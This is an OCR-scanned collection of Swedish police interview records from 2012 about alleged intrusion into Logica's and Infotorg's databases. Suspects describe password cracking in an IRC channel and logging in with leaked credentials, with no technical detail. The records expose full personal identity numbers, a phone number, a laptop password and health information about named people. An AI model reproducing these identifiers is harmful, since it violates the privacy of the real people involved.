B ful : Men det är väl inte varje  dag man klickar på en länk och får upp 
folkbokföringen för två olika personer ! 

KS : Verkligen inte ! 

B ful : Då måste man väl lägga på minnet, tycker jag. Å framför allt när man gör 
det från två olika datorer också, det . . .  

KS : Jaa. Ähh, de . . .  

B ful : Det verkar verkligen . . . . 

KS : J ag har klickat på väldigt många länkar och stänger dom flesta väldigt fort 
t gen. 

Fhl : För du ser ju här, att tidsintervallet är ju väldigt nära här. 

KS : Aa . . .  Ähh, det var ju då när dom satt och crackade. 

Fhl : Det här är ju i mars, datorn, alltså den vita stationära datorlådan och det 
där är ju din Mae. Du ser ju att det ligger ju väldigt nära i tid här. 

KS : Men . . .  Nu måste j ag bara säga en sak och det är att crom, den synkar din 
sökhistorik mellan alla dina datorer. Så att det här är ju samma träffar ni har 
sett två gånger ! Det ser ni ju på time . . .  ohörbart . . .  1 1 . 32 ,  att dom är ju likadana. 
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Fhl : Förutom att det finns en . . .  ohörbart . . .  

KS : Ja, precis !  Det är j u  den, den sista där då som inte har. S å  dom är l : an, 
2 : an såsom jag förstår att crome fungerar så är dom kopierade mellan olika 
erameinstanser. 

Fhl : Ja, okej . 

B ful : Är du inloggad på ditt konto på crome då? 

KS : Det är jag.  Det måste man slå igång manuellt tror j ag där, att det ska 
synka. 

Fhl : Sen kanske du kan dra det här med . . .  ohörbart . . .  (högtalarröst kommer in 
och överröstar) 

B ful : På din Mae direkt under din användare KRS så finns det en fil som heter 
"data" från den 3 1  mars . Vad är det för nåt? 

KS : Ingen aning, faktiskt. Det . . .  Det låter som ett väldigt generiskt filnamn för 
min . . .  Det . . .  ohörbart . . .  l 0 .26 ofta saker till . Så det är lite svårt och säga vad 
det är. Men, eftersom åklagaren frågade om en fil så antar jag att det är den här 
filen då, och det är vad jag förstår, det är nån slags systemfil från en stordator. 
Om det är samma fil ni menar, jag . . .  j ag har ingen aning om vad den filen hette 
då, och det är en fil som jag fick av Mattias . Han frågade mig: "Vet du vad det 
här är för nåt? Jag tror det är det här och det här ! " .  Å jag tittade på den och sa 
att j ag har ingen aning. 

B ful : Vet du när du fick den av Mattias? 

KS : Näe, men det måste ha vart i våras när . . .  när allting hände då. 

Bfhl:  På vilket sätt fick du den? 

KS : Det minns jag inte, jag tror jag . . . . antingen laddade hem den via nätet, 
alltså via http eller SEB . Det . . .  Det minns jag faktiskt inte . 

B ful : Från . . .  ? 

KS : Det kan j ag inte heller minnas, från nån av Mattias datorer antar j ag. 
Aa . . .  Nej ,  jag kan inte minnas var jag hittade den faktiskt eller var . . .  var jag fick 
den ifrån. 

Bfhl:  Vad var syftet med att du fick den? 

KS : Syftet var väl att Mattias inte visste vad det var för nåt och han undrade om 
jag visste vad det var för nåt, så han gav mig den filen och frågade om . . .  "Kan 
du få ut nånting?" liksom "Är det här nåt vettigt?" ,  "Vad är det för slags fil? " .  
Jag hade ingen aning heller. 
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Bfhl: Kommer du ihåg nånting av vad du såg i den filen? 

KS : Näe, ingenting. Jag är osäker på om det ens var text eller binärfiL 

Bfhl:  Minns du vad du sa till Mattias om innehållet? 

KS : (Suckar) Inte så här ord för ord, men jag sa väl att det inte verkade vara 
nån databas, tror jag, som han då hade . . . . han tyckte att det skulle vara. 

Bfhl: Vet du om han hade gjort nånting med den här filen innan du fick den? 

KS : Ingen aning, det . . .  det hade han säkert och han ger väl inte upp liksom det 
första man gör, man försöker väl själv först. 

Bfhl:  På vilket sätt kommunicerade ni då? 

KS : Via ISF. (?) 

Bfhl: Via ISF? 

KS : Ja. 

Bfhl: Vilket nät? Vilken kanal? 

KS : Ehh . . .  Det var privatmeddelanden då via ett nät som heter TCX. 

Bfhl :  Brukar ni chatta mycket där? 

KS : Näe, vi chattar inte mycket över huvud taget, det var väl . . . .  

Bfhl:  Varför skickade han filen just till dig? 

KS : Jag vet faktiskt inte. På något sätt så . . .  så trodde han att jag kunde det där 
av nån anledning. Jag har väl alltid uppfattat honom som lite vetig och så, så att 
det är inte helt . . . . Alltså, det är en . . . . Han hade väl lite en . . .  ett rykte om sig 
och bara kunna liksom vräka ur sig konstiga grejer till folk. 

Bfhl: Brukade han skicka filer till dig? 

KS : Näe, det här var nog en av dom första gångerna som jag kan minnas . 

Bfhl:  Vi kan ta det så här istället då, för vi har nämligen lite utdrag från dom 
chartar som du har haft med "Dirox" (?) 06.48 och då frågar han mycket riktigt 
om du vill ha några konton till Infotorg och då säger du: "Nej ,  tack, har samma 
som du redan. Vi som eraekat dom vettu vettu vettu" . 

KS : Ja? 

Bfhl: "Men snacka inte så mycket om det här på EF-net" , säger du också. 
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KS : Just det. 

Bfhl:  "Inte krypterat där", svarar Dirox (?) och du säger att det lär vara loggat. 

KS : Ja. 

Bfhl:  Vad är det som är . . . .  Vad är det som ni har knäckt, som "vi har crackat"? 

KS : För det första där, "vi"  då, alltså det är ju samma som vi som vann, alltså 
när vi vann schlagerfestivalen i somras utan det är ju ett kollektivt "vi" och det 
är ju då kanalen. 

Bfhl: Vilka är "vi" så att säga? 

KS : Aa, precis, det är den där IRC-kanalen då som jag . . .  som j ag nämnde då. 

Bfhl: Och vilka i "vi" som har gjort det? 

KS : Äh, det är ju . . . . Nu, jag förstår inte frågan ! 

Bfhl:  Du säger tidigare att du inte har . . .  vet vilka som är inblandade i det här 
hacket och hack.se men så vet du att det är "vi" som har gj ort det och vilka är 
då "vi" så att säga? 

KS : Näe, alltså det handlar ju om . . .  om crackingen. Om du läser citatet så 
handlar det där om lösenordsknäckning j ag pratar om innan när dom satt och 
pastade kontona i kanalen. Så att vi :et där är ju kanalen. Det var vi i kanalen 
som knäckte det, därav att j ag har tillgång till samma som honom. 

Bfhl: Men vet du var dom kommer ifrån dom här lösenorden? 

KS : Näe . . .  Nån måste ju ha fått tag på dom på nåt sätt och sen antingen spridit 
det till resten då, antagligen bara en sån här länk dom pastar i kanalen. 

Bfhl: Du har i din downloads-mapp . . .  , har du en fil som heter rackf.se. 

KS : Jaa, det kanske jag har. Den minns jag lite otydligt. Det var den man satt 
och eraekade med då, så jag laddade också hem den men den fungerade inte på 
min windows-dator direkt. 

Bfhl:  Vet du vad du satt och eraekade med den? 

KS : Ja, det var ju dom i hack. se.  Alltså, jag . . .  j ag kan inte till hundra procent 
säga några namn, för att j ag är väldigt osäker på vilka det var som gjorde vad. 

Bfhl: . . .  ohörbart . . .  ? 04 . 1 0  

KS : Oj ! Den stod som topic i kanalen under hela perioden då, i topica då så att 
ärende . . .  j a, en rad som alltid står där. 
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Bfhl:  Så det var alltså inte bara Mattias som crackade? 

KS : Jag vet inte ens om Mattias var med och crackade. Som sagt, han hänger 
inte alltid i hacka.se, Mattias . 

Bfhl: Så det är alltså någon annan i hacka. se som är inblandad? 

KS : Alltså, oftast så är det väl - vad jag har förstått - dom mer kunniga kan 
liksom hacka och så, men eraeka krävs ingen . . . . Det krävs ingen kunskap för 
det. Man dubbelklickar på en grej och så körs den. 

Bfhl :  Vilka är det som hackar då mycket? 

KS : Idag ingen aning, för l O  år sen kunde jag svarat på det där, men . . . . Det är 
faktiskt helt okänt. Det är väl ingenting man pratar så stort om liksom. 

Bfhl: Uppenbarligen så pratar dom ju rätt mycket om, det är just hacka. se 
eftersom ni delar ut såna här filer och såna här lösenord t. ex. 

KS : Ja, alltså, det är väl när det liksom . . .  , när det händer nåt sånt här roligt så 
kan folk bli engagerade i ett par dagar, men . . . . ja. Dom pratar ju inte så mycket 
om den faktiska liksom . . .  dataintrånget. Det är ingen som sitter och säger: "Hej ! 
Jag brutit mig in i den här datorn! "  och de. Nej , det händer inte . 

Bfhl: När fick du veta vad det var för nåt, vilket material det var dom höll på 
med? 

KS : Alltså, det enda som nämndes under så att säga när dom satt och crackade, 
då snackade dom ju hela tiden om Infotorg. Och det, när Mattias blev gripen, 
då nämnde ju media att det var skatteverket. Så att det var väl då j ag fattade 
att . . .  shit ! Dom har . . . .  Ja, det är skatteverket dom sitter och crackar. Å . . .  Ja, å 
att det var Logi ca, det var först . . .  ja, senare jag har fattat det. Det . . .  j a. 

Fhl : För du nämnde nånting om att . . .  , j a  tidigare här i det här avseendet med 
dom här . . .  crackingen, att "nånting som var roligt" , du använde den 
benämningen, va. 

KS : Ja, precis ! Just det ! Jag kan minnas att . . . . 

Fhl : Vad är det som är "roligt"? 

KS : Ja, nu får man ju tänka på att jag kanske inte lever så roligt liv som ni, men 
när nån pastar "Haha . . .  Titta här är passuppgifterna för U sama Bin Ladin" , det 
är ju en typiskt .  . . . Ja, det var väl lite roligt. Det är inte varje  dag man ser en 
databas med kändisar liksom. Så att det är väl en . . .  

Fhl : Vad var det som var roligt här då? 

KS : I . . .  Vilket menar du? 
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Fhl : Ja, i det här avseendet med dom här filerna. 

KS : Jaha, du menar själva crackingen. Jag vet inte faktiskt. 

Fhl : Jag menar Usarna Bin Laden var inte med. 

KS : Nehej , okej , okej . Jag förstår ! Alltså, det . . .  det är väldigt svårt och säga, 
jag var inte helt inblandad själv och liksom utföra crackingen, men antingen 
var det väl roligt att det fanns så mycket uppgifter antagl . . . . 

Fhl : Vad har du gjort exakt då? 

KS : Alltså, jag har ju suttit och tittat på dom, tyckt det är ganska roligt. Jag har 
även . . .  alltså, pratat om det. 

Fhl : Men, vad har du gj ort? 

KS : Jag har inte gj ort nånting mer än så. 

Fhl : Ingenting annat? 

KS : Näe. 

B ful : Har du loggat in på Infotorg med det eftersom det har funnits? 

KS : Nej . 

Fhl : Nej ,  då har vi inga fler frågor. Jag vet inte om advokaten har några frågor 
till sin klient? 

Adv: Nix. 

Fhl : Nej . Vad är klockan . . .  ohörbart . . .  ? 

KS : Den är 20 över 1 0 . 

Fhl : Då avslutar vi förhöret och klockan är då 1 0 .20.  

Stockholm som ovan 

John steenmark 
Kriminalinspektör 
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Polismyndighet 

Stockholms län 
Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Smedlund, Johan Kristoffer Robin 

Den hörde är Sätt 

Förhör 

Misstänkt 
ID Styrkt 

Ja Känd sedan tidigare förhör 

av B .  Rehnberg 
Tolk 

Brottsmisstanke l Anledning till förhöret 

Beslagsförhör 

Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 9800323-4674 

stäl ln ing t i l l  m isstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud önskas 

Förhörsledare 

Bengt Rehnberg 
Förhörsplats 

Häktet Huddinge 
Förhörsvittne 

Berättelse 

Försvarare/ombud närvarande Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-06- 1 3  12 : 30  1 2 :40 
Typ av förhör Förhörssätt 

RB 23 : 6  
Utskrivet av 

Övriga närvarande, kriminalinspektör Ulf Malm. Försvarare informerad om att förhöret skall 
hållas och omfattning av förhöret. Försvararen inte närvarande. 

Förhöret har gått till på så sätt att Kristoffer Smedlund har tittat på bilder tagna av de 
beslagtagna föremålen och tillfrågats om vem som äger föremålet och om han gör anspråk på 
godset. 

Beslagsnummer 20 12-020 1 -BG14336- 12  i ärende 020 1 -k8 1 864- 1 2  

Godspunktema 1 -5 ägs av Kristoffer Smedlund och han gör anspråk p å  godset. 

Godspunkt 6och 7: Smedlund är osäker på om det är hans eller Julien Nebbout ' s hårddiskar. 
Julien flyttade ut från Smedlund för ca två år sedan och han lämnade kvar en hel del saker. 
Smedlund gör anspråk på godset i alla fall eftersom han ansvarar för godset. 

Godspunktema 8- 1 3  ägs av Smedlund och han gör anspråk på godset. 

Godspunkt 14 har Smedlund köpt en gång i tiden och gett till sin flickvän Jenny. Han gör i 
alla fall anspråk på godset eftersom han ansvarar för det men avstår anspråk om Jenny har 
gjort anspråk på godset. 

Godspunkt 1 5  tillhör Julien Nebbout men Smedlund gör anspråk för Juliens skull. 

Godspunkt 1 6  tillhör Samira Ariadad och Smedlund gör anspråk för Samiras räkning. 
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Godspunkt 1 7  kan vara Julien Nebbout ' s om det är en 1 3  tummare. Annars är det Smedlunds 
om det är en l O tummare. Smedlund gör anspråk för Juliens räkning. 

Godspunkt 1 8  till hör Julien Nebbout, anspråk. 

Godspunktema 1 9-25 tillhör Smedlund, anspråk 

Godspunkt 26 kan vara Samiras, anspråk. 

Godspunktema 27-29 tillhör Smedlund, anspråk. 

Godspunkt 30 tillhör endera Smedlund eller Julien Nebbout, anspråk. 

Godspunktema 3 1 -3 2 tillhör Smedlund, anspråk. 

Godspunktema 33-34 har inte Smedlund sett tidigare. Tillhör förmodligen Julien Nebbout, 
anspråk. 

Godspunkt 3 5 tillhör Smedlund, anspråk. 

Godspunkt 36  tillhör Julien Nebbout, anspråk. 

Godspunktema 37  tillhör endera Smedlund eller Julien Nebbout, anspråk. 

Godspunktema 3 8-42 tillhör Smedlund, anspråk. 
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Polismyndighet 

Stockholms län 
Enhet 

Förhör  

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Smedlund, Johan Kristoffer Robin 

Den hörde är 

Misstänkt 

Tolk 

ID Styrkt 

Ja 

Brottsmisstanke l Anledning t i l l  förhöret 

Sätt 

Känd av förhörsledaren 

Bengt Rehnberg 

Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 9800323-4674 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Smedlunds eventuella kontakter med Gottfrid Svartholm W arg 
Underrättad om misstanke 

Ja 
Försvarare/ombud önskas 

Johan Caph. 

Förhörsledare 

Bengt Rehnberg 
Förhörsplats 

strategiska sektionen, plan 5 
Förhörsvittne 

Berättelse 

Underrättad om rätt till försvarare (best i FUK 1 2§ iakttagna) 

Ja 
Försvarare/ombud närvarande Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2- 1 1 -05 14 :00 14 :08  

Typ a v  förhör Förhörssätt 

RB 23 : 6  
Utskrivet av 

Kristoffer Smedlund tycker att förhöret kan genomföras utan att hans försvarare är 
närvarande. Övriga närvarande är kriminalinspektör Ulf Malm. 

Kristoffer Smedlund driver ett eget företag som bland annat tillverkar hemsidor och gör 
reklamjobb. Privat är han en inbiten datagrafiker som framgångsrikt tävlat i ämnet. 

Smedlund tillfrågas om han känner Gottfrid Svartholm W arg, och i så fall vad han har haft 
för kontakter med Svartholm W arg under den senaste tiden. 

Smedlund svarar att han är bekant med Svartholm W arg, men de har inte träffats personligen 
sedan Pirat Bay-rättegången som var för fyra till fem år sedan. 

Smedlund är intresserad av grafikprogramering. Gottfrid Svartholm W arg är mera en 
flashgrafiker. De har båda chattat med varandra på nätet om detta ämne ett flertal gånger. Om 
de ses på nätet så brukar de hälsa på varandra. 

Tillfrågad om de har chattat om infotorgkonton och liknande saker svarar Smedlund att de 
inte har chattat om det. 

Smedlund tillfrågas om han känner till nicket ( nickname) "tLt" . 

Smedlund säger att tLt är ett gammalt datavirus. Han känner inte till att Svartholm W arg 
skulle ha använt sig av det "nicket" . De nickname som han känner till att Svartholm W arg har 
använt sig av är "Anakata" och "Flicker" . 
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Förhörsanteckningar upplästa vid förhörstillfållet och godkända av Kristoffer Smedlund. 



Pol ismyndighet 

Stockholms län 
Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Gustafsson, Bror Olof Mathias 

Den hörde är 

Misstänkt 
Tolk 

I D  Styrkt 

Ja 

Brottsmisstanke l Anledning t i l l  förhöret 

Dataintrång (se nedan) 

Sätt 

Pass 

Förhör 
Signerat av 

Signerat datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 976 1 1 1 7-7234 

stäl ln ing t i l l  misstänkt - målsägande - vittne 

Språk 

Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Ja 
Försvarare/ombud önskas 

Önskar adv. Björn Hurtig som 

offentlig försvarare. 

Förhörsledare 

Ulf Malm 
Förhörsplats 

Borlänge polisstation 
Förhörsvittne 

Cederholm, Linda 

Berättelse 

Ja 
Försvarare/ombud närvarande Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-04- 1 5  09 :50  1 0 : 1 0  

Typ av förhör Förhörssätt 

RB 24 : 8  
Utskrivet av 

Delges misstanke om dataintrång alternativt medhjälp till dataintrång från och med 25 
februari 20 1 2  till och med dagens datum den 1 5/4 20 12 .  
Intrånget har skett vid flera tillfållen via Internet i databas som tillhör Logica och innehåller 
information som används av ett flertal myndigheter. 
Intrång har också skett via Internet vid flera tillfållen genom olovlig anslutning och sökning i 
Infotorgs databas. 

Mathias informeras om sin rätt till försvarare vid förhöret. 
Han uppger att han är villig att låta sig förhöras utan närvaro av försvarare. 

Mathias FÖRNEKAR brottsmisstanken. 

Han uppger att han vid några tillfållen har loggat in på Infotorg från sin egen eller från sin 
flickväns dator. 
Vid dessa tillfållen har han hittat lösenord på "we b ben" som andra personer har lagt ut. Med 
hjälp av dessa lösenord har han kunnat logga in på Infotorg. 
Mathias uppger att han vid dessa tillfållen har loggat in med sitt eget personnummer. 

Mathias anser sig vara ganska duktig på att hantera datorer. 
Han uppger att han dagligen använder sin dator. 

Mathias äger själv en silverfärgad laptop av märket LG. Han uppger att denna data f.n. saknar 
operativsystem så den senaste tiden har Mathias använt sin flickvän Lisas laptop istället. 
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Flickvännen heter Lisa Bergström och har en IBM laptop. Denna dator har lösenordet 
FITTJUV vilket Mathias känner till. 

Mathias säger spontant : "Lisa har inget med detta att göra" ! 
På fråga vad han menar med detta säger Mathias igen att Lisa har inget med det hela att göra. 

Mathias uppger att han har en mobiltelefon av märket Sony Ericsson med nr 070-99560 1 7 .  
Från denna tfn brukar han också "surfa" ibland. Han uppger att telefonen saknar kod. 

Mathias tillfrågas om han har någon router i lägenheten? 
Han uppger att han har en trådlös sådan under soffan. 

Mathias tillfrågas om han har lagrat någon information på Lisas dator? 
Han uppger att han inte har gjort det. 

Mathias tillfrågas om en person som heter Backe. Vem är det? 
Mathias uppger att han inte vet. 
Mathias tillfrågas om personerna Wickström och Yaseen. Vilka är dom? 
Han uppger att han inte vet. 

Mathias uppger att han normalt bor ensam i lägenheten på Timmermansgatan 14 .  Ibland bor 
hans flickvän Lisa Bergström hos honom. 
Mathias är sjukskriven sedan 1 0  år för depression och han medicinerar mot detta samt ADHD. 
Han försörjer sig genom Soc. 

Mathias tillfrågas åter om han verkligen inte vill ha en advokat vid sin sida under förhöret. 
Han uppger att det kanske skulle vara bra och föreslår efter en tids betänkande att han vill att 
advokat Björn Hurtig utses som offentlig försvarare åt honom. 

Förhöret avbryts . 
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Tjänsteanteckn ing  
Signerad av 

samtal med G ustafsson u nder b i l färd Signerad datum 

Polismyndighet 

Stockholms län 
Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
U ppgiftslämnare 

Malm, Ulf 
Beslag verkställt Material  för analys 

Nej Nej 

Mottaget 

Sätt på vi lket uppgift lämnats 

Upprättad av 

Ulf Malm 

I nvolverade personer 

Gustafsson, Mathias 
U ppgiften avser 

samtal med Mathias Gustavsson 
Uppgift 

Personnummer/Orgnr 

Diarienr 

020 1 -K8 1 864- 1 2  
Datum Tid 

20 12-04- 1 6  1 0 :2 1  

Mottaget datum Tid 

Roll 

Berörd person 

20 12-04- 1 5  kl 14  transporterade polismännen Malm/Cederholm Mathias till Stockholm från 
arresten i Borlänge.  
Resan tog ca 2,5 tim och under resan hade vi ett socialt samtal som pågick under hela 
transporten. 
Vid ett tillfälle /Rembostugan, A vestal lämnade Cederholm bilen för ett toalettbesök 
Jag och Mathias samtalade under tiden vi väntade på Cederholm om hans egen situation, hans 
flickvän och hans föräldrar. 
Han var besviken över sitt liv och tyckte bl.a. att han tyckte han svikit sina föräldrar och 
flickvän. 
Mathias frågade då mig om "vilket straff han kunde tänkas få" för dataintrång. 
Han berättade åter att: "Lisa är oskyldig till detta" .  
Han sa  också att han : hade hittat olika lösenord till Infotorg på  webben och provat om de 
fungerade" .  
Mathias uppgav att han endast hade slagit på  sitt eget personnummer. 

Mathias uppgav att det var "flera personer inblandade i detta, alltså inte bara han".  

När Cederholm sedan återkom till bilen fortsatte samtalet om alldagliga saker. 
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Polismyndighet 

Stockholms län 
Enhet 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 
Hörd person 

Gustafsson, Bror Olof Mathias 

Den hörde är I D  styrkt 

Misstänkt Nej 
Tolk 

Brottsmisstanke l Anledning ti l l  förhöret 

6 1 6 

Förhör 
Signerat av 

John G Steenmark 
Signerat datum 

20 1 3 -03-22 08 :52 

Diarienr 

020 1 -K8 1 864- 1 2  
Personnummer 

1 976 1 1 1 7-7234 

stäl ln ing t i l l  m isstänkt - målsägande - vittne 

Språk 

Misstanken som delgivits 20 12-04- 1 5 ,  misstankarna avser dataintrång alt medhjälp till dataintrång 

från och med den 25 februari 20 1 2  i 20 12-04- 1 5 .  Intrånget har skett vid flera tillfållen via Internet i 

databas som tillhör Logica och innehåller information som används av ett flertal myndigheter, bl.a. 

personuppgifter. Intrång har även skett vid flertal tillfållen via Internet genom olovlig anslutning och 

sökning i Infotorgs databas 
Underrättad om misstanke Underrättad om rätt t i l l  försvarare (best i FUK 1 2§ iakttagna) 

Försvarare/ombud önskas Försvarare/ombud närvarande 

Gustaf Linderholm Ja 

Förhörsledare 

John G Steenmark 
Förhörsplats 

Kronobergs Häktet 
Förhörsvittne 

Wahlström, Olle 

Berättelse 

Godtar den försvarare som rätten förordnar 

Förhörsdatum Förhör påbörjat Förhör avslutat 

20 1 2-04- 1 7  14 : 1 0  14 :50  
Typ a v  förhör Förhörssätt 

RB 23 : 6  Ljudbandsförhör 
Utskrivet av 

KA 

Fhl : Då tänkte jag upprepa misstankarna här så att du förstår vad du är misstänkt för, i alla fall i grova 
drag. 

MG: Mm . . .  

Fhl : Misstanken som delgivits 20 1 2-04- 1 5 ,  misstankarna avser dataintrång alt. medhjälp till 
dataintrång från och med den 25 februari 20 1 2  - 20 1 2-04- 1 5 .  Intrånget har skett vid flera tillfållen via 
Internet i databas som tillhör Logica och innehåller information som används av ett flertal myndigheter, 
bl.a. personuppgifter. Intrång har även skett vid flertal tillfållen via Internet genom olovlig anslutning 
och sökning i Infotorgs databas, och då måste jag fråga dig då om du erkänner eller förnekar brott? 

MG: Jag har bara . . . . Jag har bara vart inloggad i lnfotorgs hemsida. 

Fhl: Okej . Och vad är det det brottsliga här då att logga in på Infotorgs hemsida? Erkänner du brott, att 
själva brottet dataintrång, d.v.s .  att du olovligen har loggat in på den sidan. 

MG: Ja, precis. 

Fhl : Du har inte haft ett eget giltigt konto eller nåt sånt där? 

MG: Näe . . .  

Fhl: Nej ,  okej . 



Förhör med Gustafsson , Bror Olof Math ias; 20 1 2-04-1 7 1 4 : 1 0  d iarien r: 020 1 -K8 1 864-1 2 

MG: Men jag har hittat kontouppgifterna på Internet, så jag har inte . . . .  

Fhl : Ja, vi kommer till den . . . . Jag tänkte vi kan börja  med . . . . Du ska då få berätta lite grand hur ditt 
dataintresse uppstod och när det var, när du började med datorer. 

MG: Jag minns inte. Det var när jag var liten. 

Fhl : Ja? 

MG: Så fick jag en dator, sen har det nog gått den vägen. 

Fhl: Hur gammal var du då ungefär? 

MG: Sju. 

Fhl : Sju? Så du har hållt på ända sen dess då eller . . .  ? 

MG: Ja, till och från. Man har ju haft såna där perioder när man har tröttnat. 

Fhl : Ja, okej . 

MG: Det är inte kul å . . .  jämt. 

Fhl: Och vad är det företrädesvis du har gjort med datorerna? Vad är det som har lockat dig eller vad är 
det som har varit roligt, som har gjort att du . . . .  ? 

MG: Näe, jag har ju haft så svårt å gå ut och så där, så att det var mera som socialt sällskap. 

Fhl: Okej . Vilka operativsystem är det du har kört här? 

MG: Ehh . . .  Mest kört Linux. 

Fhl: Mest Linux. Okej . Vilka versioner var det du började med då när du körde igång? Vad var det för 
distributioner då? 

MG: . . .  ohörbart . . .  

Fhl: Kommer du ihåg det? 

MG: Slack W ear, tror jag. 

Fhl : Slack W ear. Vad har du kört mer för distributioner . . .  ohörbart . . .  ? 
MG: Ja, de va . . .  Mandriva, Ubuntu . . . .  Ja, en massa olika. 

Fhl: Ja, okej . Så du har testat det mesta av distributionerna kanske? 

MG: Det har jag, men lite till å från. 

Fhl : Ja . . .  Hur anser du att dina kunskaper är när det gäller hårdvara? Linux? 

MG: Ja, mer än medelsvensson i alla fall. 

Fhl : Jaa . . .  När det gäller Linux då? 

MG: Jag vet inte. 

Fhl : Är du duktig på Linux? 

MG: Alltså, jag vet ju vad jag gör, lite i alla fall. 

Fhl : Och kommandon och sånt där i Linux, . . .  om du är inne i ett skal. Jobbar du i . . .  skalen . . .  ? 

MG: Ja, jag började lite grand, det var lite lättare ibland. 
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Fhl: Det gör du. Kunskaper om Internet då? 

MG: Jaa . . .  

Fhl: Nätverk? 

MG: Jag kan lite i alla fall. Jag har ju sysslat lite med nätverk. 

Fhl : Du har sysslat med nätverk? Vad har du gjort då då? 

MG: Jag har installerat datorer när jag jobbade dära såna dära, så . . .  satt upp dom i nätverk. 

Fhl: Ja, okej . . .  Hur är din kunskap när det gäller nätverk då, tycker du? 

MG: Jaa . . .  Den . . .  Den . . .  Det är inte så superbra, men jag kan det i alla fall. 

Fhl: Jaa, okej . Har du några programmeringskunskaper då? 

MG: Neej . . .  

Fhl: Har du hållit på med programmering? 

MG: Neej ,  knappt. Jag är ganska dålig på det. 

Fhl: Ingenting? 

MG: Näe . . .  Nästan inte, jag försökte, men det har inte gått så bra. 

Fhl: Hur mycket brukar du sitta vid datorn numera då? 

MG: Jaa, det är väl ett par timmar varje  dag i alla fall. 

Fhl: Ja. . .  Jag pratade ju med din flickvän, Lisa, här. Hon säger att du sitter större delen av dagen vid en 
dator här. 

MG: Ja . . .  

Fhl: Kan det stämma? 

MG: Ja, det kan stämma. 

Fhl: Ja, och vad gör du då numera när du sitter vid datorn? 

MG: Jag tittar på film och så. 

Fhl: Bara det? 

MG: Näe, inte bara. 

Fhl: Allt möj ligt eller. . .  ? 

MG: Ja, jag vet inte, sen pratar med folk och så dära, social kontakt. 

Fhl : Chartar och . . .  ? 

MG: Jaa, precis. 

Fhl : Är du med på forum och sånt där också? 

MG: Näe, inte direkt, det är bara å läsa. 

Fhl: Vad har du jobbat med för nånting då sen du gick ur skolan och . . .  Ja, du får gärna berätta vad du 
har gått för utbildning också, först då. 

MG: Elektronik . . .  
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Fhl: Hur det har sett ut? 

MG: Jag gick elektronik i gymnasiet. 

Fhl: Ja? 

MG: Sen började jag jobba där, där jag gjort . . .  ja, gjort lite kontrakt och dragit lite nätverk å svara i 
telefon å data. Ja, lite allt möj ligt då. 

Fhl : Vad är det för företag du jobbade på då? 

MG: Bra Administration, heter det. 

Fhl: En gång till ! 

MG: Bra Adminstration. 

Fhl : Bra . . .  ? 

MG: Administration. 

Fhl: Bra Adminstration, okej . 

MG: Fast det var ju l O  år sen eller . . .  

Fhl: Är det 1 0  år sen? 

MG: Ja, 1 5  var det. 

Fhl: Ja, okej . 

Bfhl: Vart fanns det företaget nånstans? 

MG: Ehh . .  .l Sollentuna. 

Fhl : Hur länge jobbade du där då? 

MG: Jag vet inte, några år tror jag. 

Fhl : Bodde du här i Stockholm då? 

MG: Mm . . .  

Fhl : Ja, okej . Var bodde du då? 

MG: Jag logisterade överallt, Kungsholmen, Fredhäll, Aspudden, Upplands Väsby . .  . lite överallt. 

Fhl : Okej . Och det du gjorde, det var. . .  , sa du, du installerade datorer, väl? 

MG: Näe . . .  Näe, inte bara utan jag gjorde . . .  var lite alltiallo. 

Fhl: Ja, okej . Du höll på med nätverk också, sa du. 

MG: Jaa. 

Fhl: Sen har vi sett att du har varit med i nåt företag eller . . . .  

MG: Haft företag. 

Fhl: Ja, Sencore hette dom. 

MG: Jaa. 

Fhl : Vad var det för nånting då? 
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MG: Näe, jag tänkte väl starta upp en firma där, men det vart j u  aldrig riktigt. 

Fhl : Och vad pysslar ni med? 

MG: Näe, vi skulle pysslat med . . .  , sälja  TV-spel och datorgrej er. 

Fhl : Okej . 

MG: Men vi flyttade till Stockholm istället så vi hann aldrig göra det. 

Fhl : Det var du och nån annan? 

MG: Jaa, kommer inte ens ihåg vad han heter. 

Fhl: Är det länge sen? 

MG: Jaa. Det var när jag var 1 8 , så att då är . . . . 20 år sen, nånting sånt, 1 9 . Äh, jag vet inte. 

Fhl: Ja . . .  Ja, okej . Du har ju blivit förhörd tidigare av en kollega till mig. 

MG: Mm . . .  

Fhl : Ulf. Han träffade du, eller hur? 

MG: Ja. 

Fhl: Ja. Och i det förhöret så sa du att du ifrån din egen dator, den här LG Linux . . .  

MG: Mm . . .  

Fhl: En LG, va, som du har kört? 

MG: Ja. 

Fhl : Ja. Samt då från Lisas då, som skulle va nån IBM T60 . . .  

MG: Ja. 

Fhl : Ja. Att du har loggat in på Infotorg. 

MG: Mm . . .  

Fhl: Kan du berätta hur du har gjort det? 

MG: Jaa, gått till deras inloggningssida bara, skulle va nån lösen. 

Fhl: Via http? 

MG: Ja, precis. 

Fhl: Via en webbläsare? 

MG: Ja. 

Fhl : Och . . .  Ja, du sa här att du hade hittat konton på Internet. 

MG: Ja, jag googlade Infotorg och såg på WDSL, tror jag, det är nån supportforum där som jag hade 
skrivit ut . . .  koden där . . .  där koden står. 

Fhl: Vad hette det stället där du var inne på, sa du. 

MG: Jag vet inte, men jag googlade Infotorg - WDSL, tror jag, eller soap. 29. 1 7  

Fhl : SDL vad stod det för då? 
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MG: Vad sa du? 

Fhl: SDL vad var det som du menade med när du googlade på det? Du sa SDL va på Infotorg? 

MG: Nej ,  WDSL. 

Fhl: WDSL. 

MG: Men det är nåt protokoll man kommunicerar med, j ag vet inte riktigt. 

